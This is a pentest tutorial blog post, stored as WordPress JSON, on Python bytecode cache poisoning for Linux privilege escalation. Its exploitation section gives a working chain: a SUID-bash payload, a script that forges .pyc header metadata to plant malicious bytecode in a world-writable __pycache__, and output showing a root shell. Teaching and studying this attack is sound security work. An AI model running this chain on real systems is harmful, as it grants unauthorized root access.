{"id":3894,"date":"2026-01-19T23:54:52","date_gmt":"2026-01-19T22:54:52","guid":{"rendered":"https:\/\/hardsoftsecurity.es\/?p=3894"},"modified":"2026-01-20T11:13:54","modified_gmt":"2026-01-20T10:13:54","slug":"python-cache-poisoning-privesc-linux","status":"publish","type":"post","link":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/01\/19\/python-cache-poisoning-privesc-linux\/","title":{"rendered":"Python Cache Poisoning &#8211; PrivEsc &#8211; Linux"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Introduction<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Python cache poisoning is a lesser-known but powerful technique that can lead to <strong>local privilege escalation (priv\u2011esc)<\/strong> in misconfigured environments. It abuses how Python compiles and caches bytecode (<code>.pyc<\/code> files) to speed up execution. When an attacker can influence <em>which<\/em> bytecode is loaded\u2014or <em>where<\/em> it is loaded from\u2014they may execute arbitrary Python code in a higher-privileged context.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" fetchpriority=\"high\" decoding=\"async\" width=\"800\" height=\"533\" data-attachment-id=\"3895\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2026\/01\/19\/python-cache-poisoning-privesc-linux\/hacking\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/01\/hacking.png?fit=1536%2C1024&amp;ssl=1\" data-orig-size=\"1536,1024\" data-comments-opened=\"1\" data-image-title=\"hacking\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/01\/hacking.png?fit=800%2C533&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/01\/hacking.png?resize=800%2C533&#038;ssl=1\" alt=\"\" class=\"wp-image-3895\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/01\/hacking.png?w=1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/01\/hacking.png?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/01\/hacking.png?resize=768%2C512&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<!--more-->\n\n\n\n<p class=\"wp-block-paragraph\">This attack class is especially relevant in:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Linux systems with <strong>SUID Python scripts<\/strong><\/li>\n\n\n\n<li>Root-owned automation (cron jobs, systemd services)<\/li>\n\n\n\n<li>DevOps and CI\/CD environments<\/li>\n\n\n\n<li>Misconfigured containers or shared hosts<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">In this post, we will focus on <strong>how cache poisoning works<\/strong>, <strong>what you need to understand before attempting it<\/strong>, and <strong>the precise conditions required to escalate privileges using it<\/strong>.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Core Concepts to Understand Beforehand<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Before diving into exploitation, you should be comfortable with the following Python and OS-level concepts.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1. Python Bytecode and <code>.pyc<\/code> Files<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">When Python runs a script or imports a module, it compiles the source code into <strong>bytecode<\/strong>, stored in <code>.pyc<\/code> files. These are typically located in:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>__pycache__\/module.cpython-XY.pyc<\/code><\/li>\n\n\n\n<li>Or alongside the source file (older Python versions)<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Python prefers loading bytecode if:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The <code>.pyc<\/code> file exists<\/li>\n\n\n\n<li>The timestamp and metadata match expectations<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">This behavior is the foundation of cache poisoning.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">2. Python Import Mechanism<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Python resolves imports in a specific order:<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li>Current script directory<\/li>\n\n\n\n<li>Entries in <code>PYTHONPATH<\/code><\/li>\n\n\n\n<li>Standard library paths<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">If an attacker can write to any directory searched during imports, they may inject a <strong>malicious module<\/strong> that gets imported instead of the intended one.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">3. <code>__pycache__<\/code> Trust Model<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Python assumes that:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The filesystem is trustworthy<\/li>\n\n\n\n<li><code>.pyc<\/code> files are generated by legitimate users<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">There is <strong>no cryptographic validation<\/strong> of bytecode. If Python loads a malicious <code>.pyc<\/code>, it will execute it without question.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">4. File Permissions and Ownership<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Privilege escalation hinges on <strong>permission mismatches<\/strong>, such as:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Root executing Python code stored in user-writable directories<\/li>\n\n\n\n<li>Root trusting bytecode generated by lower-privileged users<\/li>\n\n\n\n<li>Group-writable directories used by privileged services<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Understanding Linux permissions, sticky bits, and ownership is mandatory.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">5. SUID and Privileged Execution Contexts<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">If a Python interpreter or script is executed with elevated privileges (directly or indirectly), any imported code inherits those privileges.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Examples:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>SUID Python wrappers<\/li>\n\n\n\n<li>Root cron jobs<\/li>\n\n\n\n<li>System services running Python<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">What Is Python Cache Poisoning?<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Python cache poisoning is the act of <strong>injecting or modifying Python bytecode<\/strong> so that a privileged Python process executes attacker-controlled instructions.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This can happen by:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Replacing a legitimate <code>.pyc<\/code> file<\/li>\n\n\n\n<li>Creating a malicious <code>.pyc<\/code> before the real one exists<\/li>\n\n\n\n<li>Abusing writable <code>__pycache__<\/code> directories<\/li>\n\n\n\n<li>Forcing Python to prefer attacker-controlled bytecode over source<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Requirements to Achieve Privilege Escalation<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">For cache poisoning to result in priv\u2011esc, <em>all or most<\/em> of the following conditions must be met.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">1. A Python Script Runs With Higher Privileges<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The target must execute Python code as a more privileged user, commonly:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>root<\/code><\/li>\n\n\n\n<li>A service account (e.g., <code>www-data<\/code>, <code>jenkins<\/code>)<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Typical vectors:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Cron jobs<\/li>\n\n\n\n<li>systemd services<\/li>\n\n\n\n<li>Backup or monitoring scripts<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">2. Writable Location in the Import or Cache Path<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">At least one of the following must be writable by the attacker:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The directory containing the Python script<\/li>\n\n\n\n<li>The <code>__pycache__<\/code> directory<\/li>\n\n\n\n<li>A directory listed in <code>PYTHONPATH<\/code><\/li>\n\n\n\n<li>A module directory used by the script<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">This is the <strong>most critical condition<\/strong>.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">3. Predictable Module Import<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The privileged script must import a module that:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Is not fully qualified with an absolute path<\/li>\n\n\n\n<li>Exists in a writable directory<\/li>\n\n\n\n<li>Is imported automatically on execution<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Common examples:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>import utils<\/code><\/li>\n\n\n\n<li><code>import config<\/code><\/li>\n\n\n\n<li><code>from helpers import *<\/code><\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">4. Python Version Compatibility<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The injected <code>.pyc<\/code> must match:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The Python <strong>major and minor version<\/strong><\/li>\n\n\n\n<li>The correct bytecode magic number<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Otherwise, Python will discard the cache and recompile from source.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h3 class=\"wp-block-heading\">5. Lack of Defensive Controls<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The attack becomes trivial if:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>PYTHONDONTWRITEBYTECODE<\/code> is not enforced<\/li>\n\n\n\n<li>The filesystem lacks <code>nosuid<\/code>, <code>noexec<\/code>, or strict permissions<\/li>\n\n\n\n<li>There is no integrity monitoring (AIDE, Tripwire)<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Common Real\u2011World Scenarios<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Root cron job running a Python script from <code>\/opt\/app\/<\/code><\/li>\n\n\n\n<li>Shared DevOps directory writable by developers<\/li>\n\n\n\n<li>Docker containers running as root with bind-mounted volumes<\/li>\n\n\n\n<li>Legacy Python 2 applications with flat <code>.pyc<\/code> storage<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Exploitation Example<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Enumerating the &#8220;sudo&#8221; privileges of a user I found that the user was able to execute a script with &#8220;sudo&#8221; privileges. Then, checking the directory was like:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>user@machine:\/opt\/tools$ ls -la\ntotal 24\ndrwxr-xr-x 4 root root 4096 Dec 11 07:54 .\ndrwxr-xr-x 4 root root 4096 Aug 11 07:54 ..\ndrwxr-xr-x 5 root root 4096 Dec 11 2026 extra\n-rwxrwxr-x 1 root root 2739 Mar 22 2026 first_script.py\n-rw-rw-r-- 1 root root 1245 Mar 23 2026 second_script.py\ndrwxrwxrwx 2 root root 4096 Dec 11 07:57 __pycache__<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We can see that we have 777 over &#8220;__pycache__&#8221;, that means that we can actually poison any library that is imported on the scripts. Without disclosing the code of the scripts, the first script was importing the second, so, I was able to create a malicious pyc:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import os\nos.system(\"cp \/bin\/bash \/tmp\/rootbash &amp;&amp; chmod +s \/tmp\/rootbash\")<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Compile it:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python3.12 -m py_compile \/tmp\/exploit.py<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Then, to make possible to python load our malicious pyc, we will poison the time of the file because Python is performing a validity check on your .pyc file. Since the original \/opt\/tools\/second_script.py is still there, Python compares your malicious bytecode against the original source&#8217;s timestamp and size. When it sees they don&#8217;t match, it assumes the cache is &#8220;stale,&#8221; deletes your malicious file, and recompiles the original one. We will create the file \/tmp\/poison.py:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># poison.py\npath_to_real_py = \"\/opt\/tools\/second_script.py\"\npath_to_my_pyc = \".\/__pycache__\/exploit.cpython-312.pyc\"\ntarget_pyc = \"\/opt\/tools\/__pycache__\/second_script.cpython-312.pyc\"\n\nimport os\nimport struct\n\n# 1. Get metadata from the real source file\nstat = os.stat(path_to_real_py)\nmtime = int(stat.st_mtime)\nsize = stat.st_size &amp; 0xFFFFFFFF\n\n# 2. Read your malicious bytecode\nwith open(path_to_my_pyc, \"rb\") as f:\n    my_data = f.read()\n\n# 3. Construct the valid header (16 bytes for Python 3.12)\n# Magic (4 bytes) | Flags (4 bytes) | Timestamp (4 bytes) | Size (4 bytes)\nmagic = my_data&#91;:4]\nflags = b'\\x00\\x00\\x00\\x00'\nheader = magic + flags + struct.pack(\"&lt;I\", mtime) + struct.pack(\"&lt;I\", size)\n\n# 4. Combine new header with malicious code (skip old header)\nfinal_pyc = header + my_data&#91;16:]\n\n# 5. Write to the target\nwith open(target_pyc, \"wb\") as f:\n    f.write(final_pyc)\n\nprint(\"&#91;+] Malicious PYC poisoned with correct metadata!\")<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Once, we have executed the poisoner, we will have our pyc ready. Once, I have executed the script that I was able to run as sudo:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo \/opt\/tools\/first_script.py --as Example<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The exploit was executed and our bash with the SUID set up should be on \/tmp\/:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>user@machine:\/tmp$ \/tmp\/rootbash -p\nrootbash-5.2# id\nuid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),1000(user)<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Closing Notes<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">While modern best practices reduce the likelihood of this issue, real-world environments\u2014especially internal tooling and automation\u2014still expose it frequently.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In future sections, this topic can be expanded with:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Practical exploitation walkthroughs<\/li>\n\n\n\n<li>Detection and prevention techniques<\/li>\n\n\n\n<li>Hardening guidelines for defenders<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">I hope you liked the post! Happy Hacking!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">Find more interesting post on:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/hardsoftsecurity.es\/index.php\/blog\/\">Blog &#8211; Hardsoft Security<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">or subscribe to our newsletter to receive all the lastest posts:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/hardsoftsecurity.substack.com\/\">Newsletter &#8211; Hardsoft Security<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Introduction Python cache poisoning is a lesser-known but powerful technique that can lead to local privilege escalation (priv\u2011esc) in misconfigured environments. It abuses how Python compiles and caches bytecode (.pyc &#8230;<\/p>\n","protected":false},"author":1,"featured_media":3895,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_hide_featured_image":false,"_jetpack_featured_image_duplicate_dismissed":0,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2},"jetpack_post_was_ever_published":false},"categories":[3,563],"tags":[34,41,572,44,570],"class_list":["post-3894","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-guias","category-pentest","tag-linux","tag-pentesting","tag-priv-esc","tag-python","tag-python-cache-poisoning"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.9 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Python Cache Poisoning - PrivEsc - Linux - Hardsoft Security<\/title>\n<meta name=\"description\" content=\"Python cache poisoning is a lesser-known but powerful technique that can lead to local privilege escalation (priv\u2011esc) in misconfigured...\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hardsoftsecurity.es\/index.php\/2026\/01\/19\/python-cache-poisoning-privesc-linux\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Python Cache Poisoning - PrivEsc - Linux - Hardsoft Security\" \/>\n<meta property=\"og:description\" content=\"Python cache poisoning is a lesser-known but powerful technique that can lead to local privilege escalation (priv\u2011esc) in misconfigured...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hardsoftsecurity.es\/index.php\/2026\/01\/19\/python-cache-poisoning-privesc-linux\/\" \/>\n<meta property=\"og:site_name\" content=\"Hardsoft Security\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/HardSoftDavid\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-19T22:54:52+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-01-20T10:13:54+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/01\/hacking.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1536\" \/>\n\t<meta property=\"og:image:height\" content=\"1024\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"david\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:site\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"david\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/01\\\/19\\\/python-cache-poisoning-privesc-linux\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/01\\\/19\\\/python-cache-poisoning-privesc-linux\\\/\"},\"author\":{\"name\":\"david\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"headline\":\"Python Cache Poisoning &#8211; PrivEsc &#8211; Linux\",\"datePublished\":\"2026-01-19T22:54:52+00:00\",\"dateModified\":\"2026-01-20T10:13:54+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/01\\\/19\\\/python-cache-poisoning-privesc-linux\\\/\"},\"wordCount\":905,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/01\\\/19\\\/python-cache-poisoning-privesc-linux\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/hacking.png?fit=1536%2C1024&ssl=1\",\"keywords\":[\"Linux\",\"pentesting\",\"priv esc\",\"python\",\"python cache poisoning\"],\"articleSection\":[\"Gu\u00edas\",\"Pentest\"],\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/01\\\/19\\\/python-cache-poisoning-privesc-linux\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/01\\\/19\\\/python-cache-poisoning-privesc-linux\\\/\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/01\\\/19\\\/python-cache-poisoning-privesc-linux\\\/\",\"name\":\"Python Cache Poisoning - PrivEsc - Linux - Hardsoft Security\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/01\\\/19\\\/python-cache-poisoning-privesc-linux\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/01\\\/19\\\/python-cache-poisoning-privesc-linux\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/hacking.png?fit=1536%2C1024&ssl=1\",\"datePublished\":\"2026-01-19T22:54:52+00:00\",\"dateModified\":\"2026-01-20T10:13:54+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"description\":\"Python cache poisoning is a lesser-known but powerful technique that can lead to local privilege escalation (priv\u2011esc) in misconfigured...\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/01\\\/19\\\/python-cache-poisoning-privesc-linux\\\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/01\\\/19\\\/python-cache-poisoning-privesc-linux\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/01\\\/19\\\/python-cache-poisoning-privesc-linux\\\/#primaryimage\",\"url\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/hacking.png?fit=1536%2C1024&ssl=1\",\"contentUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/hacking.png?fit=1536%2C1024&ssl=1\",\"width\":1536,\"height\":1024},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2026\\\/01\\\/19\\\/python-cache-poisoning-privesc-linux\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Portada\",\"item\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Python Cache Poisoning &#8211; PrivEsc &#8211; Linux\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\",\"name\":\"Hardsoft Security\",\"description\":\"Chasing (In)Security\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hardsoftsecurity.es\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\",\"name\":\"david\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"caption\":\"david\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Python Cache Poisoning - PrivEsc - Linux - Hardsoft Security","description":"Python cache poisoning is a lesser-known but powerful technique that can lead to local privilege escalation (priv\u2011esc) in misconfigured...","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/01\/19\/python-cache-poisoning-privesc-linux\/","og_locale":"es_ES","og_type":"article","og_title":"Python Cache Poisoning - PrivEsc - Linux - Hardsoft Security","og_description":"Python cache poisoning is a lesser-known but powerful technique that can lead to local privilege escalation (priv\u2011esc) in misconfigured...","og_url":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/01\/19\/python-cache-poisoning-privesc-linux\/","og_site_name":"Hardsoft Security","article_publisher":"https:\/\/www.facebook.com\/HardSoftDavid","article_published_time":"2026-01-19T22:54:52+00:00","article_modified_time":"2026-01-20T10:13:54+00:00","og_image":[{"width":1536,"height":1024,"url":"https:\/\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/01\/hacking.png","type":"image\/png"}],"author":"david","twitter_card":"summary_large_image","twitter_creator":"@DavidDeMaya","twitter_site":"@DavidDeMaya","twitter_misc":{"Escrito por":"david","Tiempo de lectura":"5 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/01\/19\/python-cache-poisoning-privesc-linux\/#article","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/01\/19\/python-cache-poisoning-privesc-linux\/"},"author":{"name":"david","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"headline":"Python Cache Poisoning &#8211; PrivEsc &#8211; Linux","datePublished":"2026-01-19T22:54:52+00:00","dateModified":"2026-01-20T10:13:54+00:00","mainEntityOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/01\/19\/python-cache-poisoning-privesc-linux\/"},"wordCount":905,"commentCount":0,"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/01\/19\/python-cache-poisoning-privesc-linux\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2026\/01\/hacking.png?fit=1536%2C1024&ssl=1","keywords":["Linux","pentesting","priv esc","python","python cache poisoning"],"articleSection":["Gu\u00edas","Pentest"],"inLanguage":"es","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hardsoftsecurity.es\/index.php\/2026\/01\/19\/python-cache-poisoning-privesc-linux\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/01\/19\/python-cache-poisoning-privesc-linux\/","url":"https:\/\/hardsoftsecurity.es\/index.php\/2026\/01\/19\/python-cache-poisoning-privesc-linux\/","name":"Python Cache Poisoning - PrivEsc - Linux - Hardsoft 